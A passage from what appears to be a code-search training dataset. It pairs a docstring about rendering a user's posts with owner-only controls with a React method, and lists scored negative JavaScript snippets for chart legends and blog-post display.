[{color:\"#11064F\",label:\"0\\u00B0\"},\n\t\t\t\t\t\t\t\t\t\t{color:\"#1FF0D1\",label:\"13\\u00B0\"},\n\t\t\t\t\t\t\t\t\t\t{color:\"#FFF700\",label:\"27\\u00B0\"},\n\t\t\t\t\t\t\t\t\t\t{color:\"#FF0505\",label:\"40\\u00B0\"}\n\t\t\t\t\t\t\t\t\t\t];\n var velocity_color_data = [{color:\"#F00909\",label:\"-600m/s\"},\n {color:\"#FAAEAE\",label:\"-300m/s\"},\n {color:\"#B0AAFF\",label:\"300m/s\"},\n {color:\"#1E0AFF\",label:\"600m/s\"}\n ];\n/*\tvar velocity_color_data = [{color:\"#DE830B\",label:\"-600m/s\"},\n\t\t\t\t\t\t\t\t\t\t{color:\"#BC8E5C\",label:\"-300m/s\"},\n\t\t\t\t\t\t\t\t\t\t{color:\"#9B9AAD\",label:\"300m/s\"},\n\t\t\t\t\t\t\t\t\t\t{color:\"#7AA6FF\",label:\"600m/s\"}\n\t\t\t\t\t\t\t\t\t\t];*/\n\n\tvar color_data;\n\n\tswitch(type){\n\t\tcase \"velocity\": color_data = velocity_color_data; break;\n\t\tcase \"pwr\": color_data = power_color_data; break;\n\t\tcase \"elevation\": color_data = elevation_color_data; break;\n\t\tcase \"width\": color_data = width_color_data; break;\n\t}\n\n\n\tgradient.selectAll('stop')\n\t\t\t\t\t.remove();\n\n\tcolorgrad.selectAll('g')\n\t\t\t\t\t .remove();\n\n if(type == \"velocity\"){ \n/* \tgradient.selectAll('stop')\n \t\t .data(color_data)\n \t\t .enter()\n \t\t .append('stop')\n \t\t .attr('offset', function(d, i) {\n if((i == 2) || (i == 3)){\n \t\t return (i) * 25 + 25 + '%';\n }\n else{\n return (i) * 25 + '%';\n }\n \t\t })\n \t\t .style('stop-color', function(d) {\n \t\t return d.color;\n \t\t })\n \t\t .style('stop-opacity', 0.9);*/\n\n gradient.append('stop')\n .attr('offset',\"0%\")\n .style('stop-color',color_data[0].color)\n .style('stop-opacity',.9);\n\n gradient.append('stop')\n .attr('offset',\"25%\")\n .style('stop-color',color_data[1].color)\n .style('stop-opacity',.9);\n\n gradient.append('stop')\n .attr('offset',\"50%\")\n .style('stop-color',\"rgb(255,255,255)\")\n .style('stop-opacity',.9);\n\n gradient.append('stop')\n .attr('offset',\"75%\")\n .style('stop-color',color_data[2].color)\n .style('stop-opacity',.9);\n\n gradient.append('stop')\n .attr('offset',\"100%\")\n .style('stop-color',color_data[3].color)\n .style('stop-opacity',.9);\n }\n else{\n gradient.selectAll('stop')\n .data(color_data)\n .enter()\n .append('stop')\n .attr('offset', function(d, i) {\n return (i) * 33 + '%';\n })\n .style('stop-color', function(d) {\n return d.color;\n })\n .style('stop-opacity', 0.9);\n }\n\n\tvar g = colorgrad.append('g')\n\t .selectAll('.label') \n\t .data(color_data)\n\t .enter();\n\t \n\tg.append('line')\n\t .style('stroke', function(d) {\n\t return d.color;\n\t })\n\t .style('stroke-width', 4)\n\t .attr('x1',function(d,i){\n\t return xPos(i);\n\t })\n\t .attr('x2',function(d,i){\n\t return xPos(i);\n\t })\n\t .attr('y1',function(d,i){\n\t return document.getElementById(\"colorgrad\").clientHeight / 2;\n\t })\n\t .attr('y2',function(d,i){\n\t return document.getElementById(\"colorgrad\").clientHeight;\n\t });\n\t \n\t \n\tg.append('text')\n\t .text(function(d){\n\t return d.label;\n\t })\n\t .attr('transform',function(d,i){\n\t return 'translate(' + (xPos(i) + 3) + ',' + (document.getElementById(\"colorgrad\").clientHeight - 7) + ')';\n\t })\n\t \n\t function xPos(i){\n\t \tswitch(i){\n\t \t\tcase 0: return 2\n\t \t\tcase 1: return 415 * .33;\n\t \t\tcase 2: return 415 * .66;\n\t \t\tcase 3: return 413;\n\t \t}\n\t } \n}", "function legend(lD){\n var leg = {};\n\n // create table for legend.\n var legend = d3.select(id).append(\"table\").attr('class','legend');\n\n // create one row per segment.\n var tr = legend.append(\"tbody\").selectAll(\"tr\").data(lD).enter().append(\"tr\");\n\n // create the first column for each segment.\n tr.append(\"td\").append(\"svg\").attr(\"width\", '16').attr(\"height\", '16').append(\"rect\")\n .attr(\"width\", '16').attr(\"height\", '16')\n .attr(\"fill\",function(d){ return segColor(d.type); });\n\n // create the second column for each segment.\n tr.append(\"td\").text(function(d){ return d.type;});\n\n // create the third column for each segment.\n tr.append(\"td\").attr(\"class\",'legendFreq')\n .text(function(d){ return d3.format(\",\")(d.freq);});\n\n // create the fourth column for each segment.\n tr.append(\"td\").attr(\"class\",'legendPerc')\n .text(function(d){ return getLegend(d,lD);});\n\n // Utility function to be used to update the legend.\n leg.update = function(nD){\n // update the data attached to the row elements.\n var l = legend.select(\"tbody\").selectAll(\"tr\").data(nD);\n\n // update the frequencies.\n l.select(\".legendFreq\").text(function(d){ return d3.format(\",\")(d.freq);});\n\n // update the percentage column.\n l.select(\".legendPerc\").text(function(d){ return getLegend(d,nD);});\n }\n\n function getLegend(d,aD){ // Utility function to compute percentage.\n return d3.format(\"%\")(d.freq/d3.sum(aD.map(function(v){ return v.freq; })));\n }\n\n return leg;\n }", "function buildLegend(colors, assoColors) {\n var elemStr = '<h4><a href=\"#\" id=\"map-legend-close\" class=\"text-info\"><i class=\"material-icons md-28 align-middle\">keyboard_arrow_right</i><span class=\"align-middle\">Sensors</span></a></h4>';\n for (var k = 0; k < assoColors.length; k++) {\n\n if (assoColors[k] != null) {\n\n // Currently, we want to display human-friendly names on the front-end. This is a hack\n if (assoColors[k] == \"luftdaten\") {\n (kilolima = \"Luftdaten\")\n }\n else if (assoColors[k] == \"smart-citizen-kits\") {\n (kilolima = \"Smart Citizen Kit\")\n }\n else if (assoColors[k] == \"automatic-urban-and-rural-network-aurn\") {\n kilolima = \"DEFRA AURN\";\n }\n else if (assoColors[k] == \"air-quality-data-continuous\") {\n kilolima = \"Bristol Air Quality Continuous\";\n }\n\n else if (assoColors[k] == \"air-quality-no2-diffusion-tube-data\") {\n kilolima = \"Bristol NO2 Diffusion Tubes\";\n }\n\n else {\n kilolima = assoColors[k]\n }\n }\n if (k !== colors.length) {\n if (kilolima != null) {\n elemStr += '<div><span style=\"background-color: ' + colors[k] + '\"></span>' + kilolima + '</div>';\n\n } else {\n elemStr += '<div><span style=\"background-color: ' + colors[k] + '\"></span>' + assoColors[k] + '</div>';\n }\n }\n\n }\n if (window.location.href.indexOf(\"datalocation\") > -1) {\n elemStr += '<div><span style=\"background-color: #97CBFF\"></span>Chosen location</div>';\n }\n $(\"#map-legend\").html(elemStr);\n}", "function legendColor(d) {\n return d > 90 ? '#ff0000' :\n d > 70 ? '#ff8000' :\n d > 50 ? '#ffbf00' :\n d > 30 ? '#ffff00' :\n d > 10 ? '#bfff00':\n '#66ff8c';\n\n}" ]
[ "0.8107638", "0.7555818", "0.7485818", "0.7267058", "0.7241624", "0.72371626", "0.71925956", "0.71833616", "0.7138064", "0.7134256", "0.71222615", "0.70847005", "0.70336866", "0.70302", "0.70281285", "0.6983747", "0.6977022", "0.6974433", "0.6964256", "0.694281", "0.6934632", "0.6934632", "0.6934632", "0.6934632", "0.6934632", "0.6934632", "0.6934632", "0.6934632", "0.6934632", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6930662", "0.6923898", "0.6913302", "0.6910014", "0.69099", "0.6896355", "0.6893614", "0.6886391", "0.68805474", "0.68761283", "0.68752325", "0.68681693", "0.6864376", "0.6860738", "0.6856289", "0.6807805", "0.68051654", "0.6796902", "0.67868775", "0.6776596", "0.67737436", "0.67609805", "0.67553157", "0.67516863", "0.6750831", "0.6712757", "0.6710471", "0.66924745", "0.6681006", "0.66543263", "0.6645469", "0.6638519", "0.66359013", "0.6621037", "0.66193384", "0.6613733" ]
0.68485457
79
Renders each post and determinds if the owner of the post is logged in if they are, then the private controls will display for that post.
renderPosts() { const currentUserId = this.props.currentUser && this.props.currentUser._id; return this.props.posts.map((post) => { const showPrivateControls = post.owner === currentUserId; return ( <Post key={post._id} post={post} showPrivateControls={showPrivateControls} /> ); }); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function renderPosts() {\n // assign posts object to a variable\n var posts = memory.posts;\n // loop through posts object\n for (var i = 0; i < posts.length; i++) {\n // call render method\n memory.posts[i].render();\n };\n }", "function render_post(id_container, filter_object, logged_in_username, callback) {\n\tif (!logged_in_username || logged_in_username == \"\") return;\n\t// insert spinner\n\tif (!document.getElementById(\"post_spinner\")) {\n\t\t$(\"#\" + id_container).after(\n\t\t\tgetSpinner()\n\t\t);\n\t}\n\n\tglobal_logged_in_username = logged_in_username;\n\n\t// acquire post data for rendering\n\tvar request_url = '/post_db/';\n\tvar request_json;\n\n\trequest_json = {\n\t\t\"request_type\": \"get_post\",\n\t\t\"filter\": filter_object,\n\t};\n\n\t// render tab content = render all posts\n\t$.ajax({\n\t\ttype: \"POST\",\n\t\turl: request_url,\n\t\tdata: JSON.stringify(request_json),\n\t\tdataType: \"JSON\", /* this specify the returned object type */\n\t\tcontentType: \"application/json\",\n\t})\n\t\t.done(function (json_data) {\n\t\t\thandle_incoming_post_data(json_data, id_container, callback);\n\t\t\tif (callback) callback(json_data);\n\t\t})\n\t\t.fail(ajax_fail_handler);\n}", "render() {\n\t\tif (!this.props.post) {\n\t\t\treturn <div>Loading...</div>\n\t\t}\n\n\t\tlet content = this.props.post.json_metadata.content;\n\n\t\t/* Author details */\n\t\tlet user = this.props.postingUser;\n\n\t\t/* Render */\n\t\treturn <div className={['uk-margin-bottom', this.props.border ? styles.postContainerBorder : '', indexStyles.white].join(' ')}>\n\t\t\t{/* Top section */}\n\t\t\t<PostUserMeta profile={{name: user.json_metadata.profile.name, image: user.json_metadata.profile.profile_image, username: user.name}} created={this.props.post.created}\n\t\t\t\tcommunities={getCommunitiesForPost(this.props.post)}/>\n\t\t\t{/* Actual post */}\n\t\t\t<div className={[styles.postSection, content.type === 'article' ? styles.articleView : ''].join(' ')}>\n\t\t\t\t{content && content.data.map((data, idx) => <PostData applyTopMargin={idx !== 0} key={idx} data={data}/>)}\n\t\t\t</div>\n\t\t\t{content.type === 'article' && <div className={['uk-text-center', styles.articleReadMore, indexStyles.pointer].join(' ')}>\n\t\t\t\t<Link to={`/@${this.props.post.author}/${this.props.post.permlink}`}\n\t\t\t\t\tclassName={[styles.readMoreText, indexStyles.transition].join(' ')}>READ MORE</Link>\n\t\t\t</div>}\n\t\t\t{/* Action bar */}\n\t\t\t<ActionBar post={this.props.post} withLink/>\n\t\t</div>\n\t}", "async personalizeRenderedPostPerUser (user) {\n\t\tlet renderedHtmlForUser = this.renderedHtml;\n\n\t\t// format the timestamp of this post with timezone dependency\n\t\tconst datetime = Utils.formatTime(this.post.createdAt, user.timeZone || DEFAULT_TIME_ZONE);\n\t\trenderedHtmlForUser = renderedHtmlForUser.replace(/\\{\\{\\{datetime\\}\\}\\}/g, datetime);\n\n\t\t// also format the timestamp of the parent codemark as needed\n\t\tif (this.parentCodemark || this.parentReview || this.parentCodeError) {\n\t\t\tconst createdAt = (this.parentCodemark || this.parentReview || this.parentCodeError).createdAt;\n\t\t\tconst parentObjectDatetime = Utils.formatTime(createdAt, user.timeZone || DEFAULT_TIME_ZONE);\n\t\t\trenderedHtmlForUser = renderedHtmlForUser.replace(/\\{\\{\\{parentObjectDatetime\\}\\}\\}/g, parentObjectDatetime);\n\t\t}\n\n\t\t// for users who are mentioned, special formatting applies to the user receiving the email\n\t\tconst regExp = new RegExp(`\\\\{\\\\{\\\\{mention${user.id}\\\\}\\\\}\\\\}`, 'g');\n\t\trenderedHtmlForUser = renderedHtmlForUser.replace(regExp, 'mention-me');\n\t\trenderedHtmlForUser = renderedHtmlForUser.replace(/\\{\\{\\{mention.+?\\}\\}\\}/g, 'mention');\n\n\t\t// for unregistered users, they don't see \"Open In IDE\" buttons\n\t\tconst buttonStyle = user.isRegistered ? \"\" : \"display:none\";\n\t\trenderedHtmlForUser = renderedHtmlForUser.replace(/\\{\\{\\{hideForUnregistered\\}\\}\\}/g, buttonStyle);\n\n\t\t/*\n\t\t// for DMs, the list of usernames who can \"see\" the codemark excludes the user \n\t\tif (this.stream.type === 'direct') {\n\t\t\tconst visibleTo = this.getVisibleTo(user);\n\t\t\trenderedHtmlForUser = renderedHtmlForUser.replace(/\\{\\{\\{usernames\\}\\}\\}/g, visibleTo);\n\t\t}\n\t\t*/\n\n\t\tthis.renderedPostPerUser[user.id] = renderedHtmlForUser;\n\t}", "function displayPosts(posts) {\n console.log(posts)\n $.each( posts, function( key, value ) {\n post = value;\n if (key <= 6) {\n document.getElementById('posts-container').innerHTML += '<a class=\"post\" target=\"_blank\" href=\"' + post.full_url + '\">'+\n '<div style=\"background-image:url(' + post.image + ')\"><h2>Member: </h2><h3>' + post.poster_name + \"</h3>\" +\n '</div></a>';\n }\n });\n }", "showPost(data) {\n\t\t// Put the data we get from the server into this.postOutput\n\t\t\tdata.forEach(element => {\n\t\t\t\t\n\t\t\t\tthis.postOutput.innerHTML += `\n\t\t\t\t\t<div>\n\t\t\t\t\t\t${\n\t\t\t\t\t\t\t(element.img) ? `<img src=\"${element.img}\">` : \"\"\n\t\t\t\t\t\t}\n\t\t\t\t\t\t<p>${element.text}</p>\n\t\t\t\t\t</div>\n\t\t\t\t`\n\t\t\t});\n\t}", "renderpost(){\n {return this.state.posts.map(post=> <div key={post.id} className=\"media\">\n <div className=\"media-left\">\n \n </div>\n <div className=\"media-body\">\n <a href={`/users/${post.user.username}`}><b>{post.user.username}</b></a>{' '}\n - {post.created_at}\n \n\n <p> {post.body}</p>\n </div>\n </div>)}\n }", "function renderPage () {\n var uid = null\n var loggedIn = false\n // gets the logged in user's id\n if (firebase.auth().currentUser) {\n loggedIn = true\n var uid = firebase.auth().currentUser.uid\n }\n\n // if the user is logged in as the admin, render the edit page, otherwise render the view page\n if (uid === 'vC2tBVf1R6ddzXGWJuYXRhaQyHj1') {\n // this is the function that does the actual rendering, defined in editPosts.js\n editPosts()\n } else {\n // this is the function that does the actual rendering, defined in viewPosts.js\n viewPosts()\n }\n\n navbarRender(db.selectCategory, loggedIn)\n}", "function _draw() {\n let posts = store.State.posts;\n let templates = ''\n posts.forEach(post=>{\n templates += post.Template\n });\n document.getElementById('posts').innerHTML = templates;\n}", "render() {\n if (this.props.loggedIn.user.name == this.state.author) {\n return (\n <div>\n <div class=\"card\">\n <div class=\"card-content\">\n <p class=\"subtitle\">\n {this.state.body}\n </p>\n \n <div class=\"level-left\">\n <p class=\"level-item\">\n Posted by <span class=\"is-italic\"> &nbsp;{this.state.author}&nbsp;</span> on {(new Date(this.state.createdAt).toLocaleDateString())}\n </p>\n </div>\n\n </div>\n </div>\n </div>\n )\n }\n\n return (\n <div>\n <div class=\"card\">\n <div class=\"card-content\">\n <p class=\"subtitle\">\n {this.state.body}\n </p>\n \n <div class=\"level-left\">\n <p class=\"level-item\">\n Posted by <span class=\"is-italic\"> &nbsp;{this.state.author}&nbsp;</span> on {(new Date(this.state.createdAt).toLocaleDateString())}\n </p>\n </div>\n </div>\n </div>\n </div>\n )\n }", "render() {\n\t\t//console.log(links);\n\t\treturn (\n\t\t\t<div className=\"Posts\" >\n\t\t\t\t{posts.map((post)=>{\n return <Post text={post.text} author={post.author}/>\n })}\n\t\t\t</div>\n\t\t);\n\t}", "function applyModsToPost(post) {\n\tif(DEBUG) console.count(\"Posts being modified\");\n\ttry {\n\t\tif(profilePage) {\n\t\t\tvar postAuthorBlock = post.getElementsByClassName(\"user\")[0];\n\t\t\tvar postContent = post.getElementsByTagName(\"p\")[0];\n\t\t\tvar postUserID = getUserIDfromProfileLink(postAuthorBlock.firstChild);\n\t\t\t//post.lastChild.style.clear = \"both\";\n\t\t\tvar lastP = post.getElementsByTagName(\"p\");\n\t\t\tlastP = lastP[lastP.length - 1];\n\t\t\tlastP.style.clear = \"both\"; // fuck the DOM\n\t\t} else {\n\t\t\tvar postAuthorBlock = post.getElementsByClassName(\"author\")[0];\n\t\t\tvar postContent = post.getElementsByClassName(\"ugc-wrapper\")[0];\n\t\t\tvar postUserID = getUserIDfromProfileLink(postAuthorBlock.getElementsByClassName(\"user\")[1]);\n\t\t}\n\t\t\n\t\t// Add posting User ID as class\n\t\tpost.setAttribute(\"class\", \"c\" + postUserID);\n\t\t\n\t\t// send user ID to global \"users on this page\" \"array\"\n\t\tusersOnThisPage[postUserID] = true;\n\t\t\n\t\t// Add \"last seen\" row to author column\n\t\tvar tempCounter = document.createElement(\"span\");\n\t\ttempCounter.setAttribute(\"class\",\"lastSeenTime\");\n\t\ttempCounter.appendChild(document.createTextNode(\"Unknown\"));\n\t\t\n\t\tif(!profilePage) {\n\t\t\tvar tempP = document.createElement(\"p\");\n\t\t\ttempP.setAttribute(\"class\",\"lastSeenDisplay\");\n\t\t\ttempP.appendChild(document.createTextNode(\"Last seen:\"));\n\t\t\ttempP.appendChild(document.createElement(\"br\"));\n\t\t\ttempP.appendChild(tempCounter);\n\t\t\ttempP.appendChild(document.createTextNode(\" ago\"));\n\t\t\ttempP.style.display = \"none\"; // Will be set visible for those who have a time saved\n\t\t\tpostAuthorBlock.appendChild(tempP);\n\t\t} else {\n\t\t\tvar tempSpan = document.createElement(\"span\");\n\t\t\tvar tempP = post.getElementsByClassName(\"admin\")[0];\n\t\t\ttempSpan.appendChild(document.createTextNode(\"Last seen: \"));\n\t\t\ttempSpan.appendChild(tempCounter);\n\t\t\ttempSpan.appendChild(document.createTextNode(\" ago\"));\n\t\t\ttempSpan.style.display = \"none\"; // Will be set visible for those who have a time saved\n\t\t\ttempP.appendChild(tempSpan);\n\t\t}\n\t\t\n\t\t// Replace BBCode/Smileys\n\t\treplaceBBCode(postContent);\n\t\t\n\t\t// Check if images in this post have to be resized\n\t\tvar tempImages = postContent.getElementsByTagName(\"img\");\n\t\tfor(var i = 0; i < tempImages.length; ++i) {\n\t\t\tif(tempImages[i].src.search(/data:image/) != -1) {\n\t\t\t\tif(DEBUG) console.count(\"Aborted images\");\n\t\t\t\tcontinue; // no need to process our own smileys\n\t\t\t}\n\t\t\tif(tempImages[i].complete) { // ATTENTION: Make sure this block stays in sync with the one in determineWidthHandling\n\t\t\t\t//if(DEBUG) console.debug(\"Complete image handled, width: \", tempImages[i].width);\n\t\t\t\tvar tempMaxWidth = 800; // failsafe value\n\t\t\t\tif(episodePage) tempMaxWidth = 400;\n\t\t\t\tif(forumPage) tempMaxWidth = 790;\n\t\t\t\tif(profilePage) tempMaxWidth = 280;\n\t\t\t\tif(tempImages[i].width > tempMaxWidth) handleCommentImage(tempImages[i]);\n\t\t\t} else tempImages[i].addEventListener(\"load\", determineWidthHandling, false);\n\t\t}\n\t}\n\tcatch (exception) {\n\t\tif(DEBUG) console.error(\"Error: %s - %s\", exception.name, exception.message);\n\t}\n}", "function renderPosts(data) {\r\n postLists.innerHTML = null;\r\n const nameBox = document.createElement(\"h3\");\r\n nameBox.textContent = \"POSTS\";\r\n postLists.appendChild(nameBox);\r\n\r\n data.forEach((element) => {\r\n const newUserPost = userPostTemp.cloneNode(true);\r\n const postTitle = newUserPost.querySelector(\".post-title\");\r\n postTitle.textContent = element.title;\r\n postTitle.dataset.post_id = element.id;\r\n newUserPost.querySelector(\".body\").textContent = element.body;\r\n postLists.appendChild(newUserPost);\r\n });\r\n}", "function displayPosts(posts) {\r\n\t// use helper function displayPost\r\n\r\n}", "function renderPost(posts) {\n\n if (posts.length) {\n $(\".post-area\").prepend(posts);\n }\n\n }", "function displayPostsDOM(posts) {\n posts.forEach((post) => {\n appendPostDOM(post);\n });\n}", "function renderOnePost(todoItems) {\n // const sortedData = todoItems.sortby(['id'])\n const mainContainer = document.querySelector('.js-to-hide');\n mainContainer.style.display = \"none\";\n\n\n const postContainer = document.querySelector('.js-one-post');\n postContainer.style.display = \"block\";\n\n postContainer.innerHTML = '';\n // const todoItemsReverse = todoItems.reverse();\n // for (const todoItem of sortedData) {\n for (const todoItem of todoItems) {\n // const div = document.createElement('div');\n postContainer.innerHTML = `\n <a href=\"../index.html\">Back to home</a>\n\n <header>\n <h2>${todoItem.data.title}</h2>\n <p>${todoItem.data.todo}</p>\n </header>\n <section>\n <hr />\n <header>\n <p>${todoItem.data.when}</p>\n </header>\n </section>\n `;\n // container.appendChild(div);\n };\n }", "function viewMyPosts(pst){\n\n\tvar main = $(\"#postContainer\");\n\tmain.html(\"\");\n\tvar posts = pst;\n\tvar postsLength = posts.length;\n\tvar showMore = \"\";\n\n\tvar numFix = 0;\n\tfor(var i=0; i<postsLength;i++){\n\t\tvar userInformation = posts[i].user_info[0];\n\t\tvar userId = posts[i].user_id;\n\t\tvar commentMode = posts[i].comment_mode;\n\t\tvar like = posts[i].like;\n\t\tvar numLikes = posts[i].num_likes;\n\t\tvar numUnlikes = posts[i].num_unlikes;\n\t\tvar numComments = posts[i].num_comments;\n\t\tvar postDate = formatDate(posts[i].post_date);\n\t\tvar postId = posts[i].post_id;\n\t\tvar postText = posts[i].post_text;\n\t\tvar postTitle = posts[i].post_title;\n\t\tvar postCategory = posts[i].category_name;\n\t\tvar publicityMode = posts[i].publicity_mode;\n\t\tvar unlike = posts[i].unlike;\n\t\tvar firstName = userInformation.first_name;\n\t\tvar lastName = userInformation.last_name;\n\t\tvar imageId = userInformation.image;\n\t\tvar gender = userInformation.gender;\n\t\tvar postType = posts[i].post_type;\n\t\tvar imageLocation;\n\t\tvar likeClass = \"\";\n\t\tvar unlikeClass = \"\";\n\t\n\t\t/*Changes the image*/\n\t\tif(imageId==\"\" || imageId==1 || imageId==0){\n \t if(gender==\"Male\"){\n \t imageLocation = \"./images/male_profile.jpg\";\n \t }else if(gender==\"Female\"){\n \t imageLocation = \"./images/female_profile.jpg\";\n \t }\n \t}else{\n \t imageLocation = \"./images/\"+imageId; \n \t}\n\n\t\tif(postText.length>400){\n\t\t\tpostText = postText.slice(0,303)+\" ... \";\n\t\t\tpostText += '<a class=\"read-more\" href=\"viewpost.php?pid='+postId+'\">Read More</a>';\n\t\t}\n\n\t\tif(postTitle.length > 100){\n\t\t\tpostTitle = postTitle.slice(0,80);\n\t\t\tpostTitle += \" ... \";\n\t\t}\n\n\t\tif(like){\n\t\t\tlikeClass = \"liked\";\n\t\t}\n\t\tif(unlike){\n\t\t\tunlikeClass = \"unLiked\";\n\t\t}\n\t\tvar post = '<div class=\"posts-container\"><div class=\"row\"><div class=\"col-md-2 col-xs-3\"><img src=\"'+imageLocation+'\" class=\"profile-image\" alt=\"\"></div><div class=\"col-md-10 col-xs-9\"><p class=\"user-name\"><a href=\"profile.php?uid='+userId+'\">'+firstName+' '+lastName+'</a></p><p>'+postDate+'</p><p class=\"postTag\">#'+postCategory+'</p></div></div><div class=\"row\"><p class=\"title\"><a href=\"#\" class=\"post-title\">'+postTitle+' </a></p><p class=\"post\">'+postText+' </p></div><div class=\"row\"><div class=\"col-lg-12 col-md-12 col-sm-12 col-xs-12\"><div class=\"row\"><div class=\"col-xs-3 tab like '+likeClass+'\" id=\"like\" data-postId=\"'+postId+'\"><i class=\"fas fa-thumbs-up\"></i><span class=\"numLike\">'+numLikes+'</span></div><div class=\"col-xs-3 tab dislike '+unlikeClass+'\" id=\"dislike\" data-postId=\"'+postId+'\"><i class=\"fas fa-thumbs-down\"></i><span class=\"numDislike\">'+numUnlikes+'</span></div><div class=\"col-xs-3 tab comment\" id=\"comment\" data-postId=\"'+postId+'\"><i class=\"fas fa-comment\"></i><span class=\"numComment\">'+numComments+'</span></div><div class=\"buttons postEdit col-xs-3 tab\" id=\"postEdit\" data-postId=\"'+postId+'\"><i class=\"fas fa-edit\"></i> Edit</div></div></div></div></div>';\n\t\tmain.append(post);\n\t}\n\tmain.append(showMore);\n}", "function renderPosts(event) {\n event.preventDefault();\n let postList = localStorage.getItem(\"postList\");\n postList = JSON.parse(postList);\n\n if (postList != null) {\n for (post in postList) {\n makePost(postList[post]);\n }\n }\n}", "function displayPost(postId, postData) {\n var div = document.getElementById(postId);\n // if post was already retrieved and displayed, skip\n if (div) return;\n\n var template = document.getElementById(\"posts\").querySelector(\"template\");\n var copy = document.importNode(template.content, true);\n div = copy.querySelector('div');\n div.id = postId;\n\n if (!referenceToOldestPost) postListElement.appendChild(div);\n else postListElement.insertBefore(div, referenceToOldestPost);\n referenceToOldestPost = div;\n nbOfPostsDisplayed++;\n\n div.querySelector('.MqU2J').src = postData.actor.image.url;\n div.querySelector('.sXku1c').textContent = postData.actor.displayName;\n\n var publicationDate = moment(postData.published);\n div.querySelector('.o8gkze').textContent = publicationDate.fromNow();\n\n // check if the access.description field contains a community category\n var regExp = /\\(([^)]+)\\)/;\n var category = regExp.exec(postData.access.description);\n if (category) div.querySelector('.IJ13Ic').textContent = category[1];\n\n // Display HTML content of the post\n var messageElement = div.querySelector('.jVjeQd');\n messageElement.innerHTML = postData.object.content;\n\n // Check if post contains an attachment (photo or article)\n if (postData.object.attachments && postData.object.attachments['0']) {\n div.querySelector('div[data-jsname=\"MTOxpb\"]').style.display = \"block\";\n\n var attachment = postData.object.attachments['0'];\n if (attachment.objectType === \"photo\") {\n var attachmentDiv = div.querySelector('.e8zLFb');\n attachmentDiv.style.display = \"block\";\n var imgAttachmentEl = attachmentDiv.querySelector('.JZUAbb');\n if (attachment.image.firebaseImageRef) {\n storage.ref(attachment.image.firebaseImageRef).getDownloadURL().then(function(url) {\n imgAttachmentEl.src = url;\n });\n }\n else {\n imgAttachmentEl.src = attachment.image.url;\n }\n imgAttachmentEl.height = attachment.fullImage.height;\n imgAttachmentEl.width = attachment.fullImage.width;\n imgAttachmentEl.alt = attachment.displayName;\n\n imgAttachmentEl.onload = function(){\n attachmentDiv.querySelector('.E68jgf').style.paddingTop = (imgAttachmentEl.clientHeight / imgAttachmentEl.clientWidth * 100) + \"%\";\n }\n }\n else if (attachment.objectType === \"article\") {\n var attachmentDiv = div.querySelector('div[data-jsname=\"attachmentTypeArticle\"]');\n attachmentDiv.style.display = \"block\";\n\n attachmentDiv.querySelectorAll('.NHphBb').forEach(function(el) {\n el.href = attachment.url;\n });\n\n\n attachmentDiv.querySelector('.Tuxepf').innerText = attachment.displayName;\n if (attachment.image) {\n var imgAttachmentEl = attachmentDiv.querySelector('.JZUAbb');\n if (attachment.image.firebaseImageRef) {\n storage.ref(attachment.image.firebaseImageRef).getDownloadURL().then(function(url) {\n imgAttachmentEl.src = url;\n });\n }\n else {\n imgAttachmentEl.src = attachment.image.url;\n }\n imgAttachmentEl.height = attachment.image.height;\n imgAttachmentEl.width = attachment.image.width;\n imgAttachmentEl.alt = attachment.displayName;\n\n imgAttachmentEl.onload = function(){\n attachmentDiv.querySelector('.E68jgf').style.paddingTop = (imgAttachmentEl.clientHeight / imgAttachmentEl.clientWidth * 100) + \"%\";\n }\n }\n\n attachmentDiv.querySelector('.g0644c').innerText = attachment.url.split('/')[2];\n }\n }\n\n // LIKES / PLUSONES\n var plusOnesContainer = div.querySelector('.oHo9me');\n plusOnesContainer.dataset.itemid = \"update/\" + postId;\n\n var nbOfPlusones = postData.object.plusoners.totalItems;\n plusOnesContainer.dataset.count = nbOfPlusones;\n div.querySelector('.M8ZOee').textContent = nbOfPlusones;\n\n // Check if current user has +1 this post. In that case, make the +1 button red.\n var currentUser = firebase.auth().currentUser;\n if (currentUser) {\n var path = '/plusoners/' + postId + '/' + currentUser.providerData[0].uid + '/id';\n firebase.database().ref(path).once('value').then(function(snapshot) {\n if(snapshot.val()) {\n var element = plusOnesContainer.querySelector('[aria-label=\"+1\"]');\n element.classList.add('y7OZL');\n element.classList.add('M9Bg4d');\n plusOnesContainer.dataset.pressed = true;\n }\n else {\n plusOnesContainer.dataset.pressed = false;\n }\n });\n\n // display the current user profile picture next to the comment UI\n div.querySelector('.WWCMIb').src = currentUser.photoURL;\n }\n else {\n // if user not authenticated, hide profile picture placeholder + comment textbox\n div.querySelector('.JPtOFc').style.display = 'none';\n }\n\n // RESHARES\n if (postData.object.resharers.totalItems) {\n div.querySelectorAll('.M8ZOee')[1].textContent = postData.object.resharers.totalItems;\n }\n\n // COMMENTS\n if (postData.object.replies.totalItems) {\n if (postData.object.replies.totalItems > 3) {\n div.querySelector('.GA5Ak').style.display = \"block\";\n div.querySelector('.CwaK9').firstChild.innerText = \"Show all \" + postData.object.replies.totalItems + \" comments\";\n }\n\n var commentSection = div.querySelector('.EMg45');\n var path = '/comments/' + postId;\n var query = firebase.database().ref(path).orderByChild('published').limitToLast(3);\n query.on('child_added', function (snapshot) {\n if(snapshot.val()) {\n var comment = snapshot.val();\n var commentTemplate = commentSection.querySelector(\"template\");\n var copy = document.importNode(commentTemplate.content, true);\n var div = copy.querySelector('div');\n commentSection.appendChild(div);\n div.querySelector('.vGowKb').textContent = comment.actor.displayName;\n div.querySelector('.Wj5EM').querySelector('span').innerHTML = comment.object.content;\n }\n });\n }\n\n}", "function posts(arr) {\n let postApi = arr.filter((el) => el.userId == id);\n postApi.forEach(element => {\n fragmentPost.appendChild(renderPosts(element));\n });\n elPostListWrapper.appendChild(fragmentPost)\n }", "function displayPost(post) {\r\n\r\n}", "function getPosts(){\n var posts = [];\n var currentUserId = Meteor.userId();\n \n // display only user's posts if currently logged in\n if (currentUserId){\n posts = Posts.find({owner: currentUserId}, {sort: {creationDate: -1}});\n } else {\n posts = Posts.find({}, {sort: 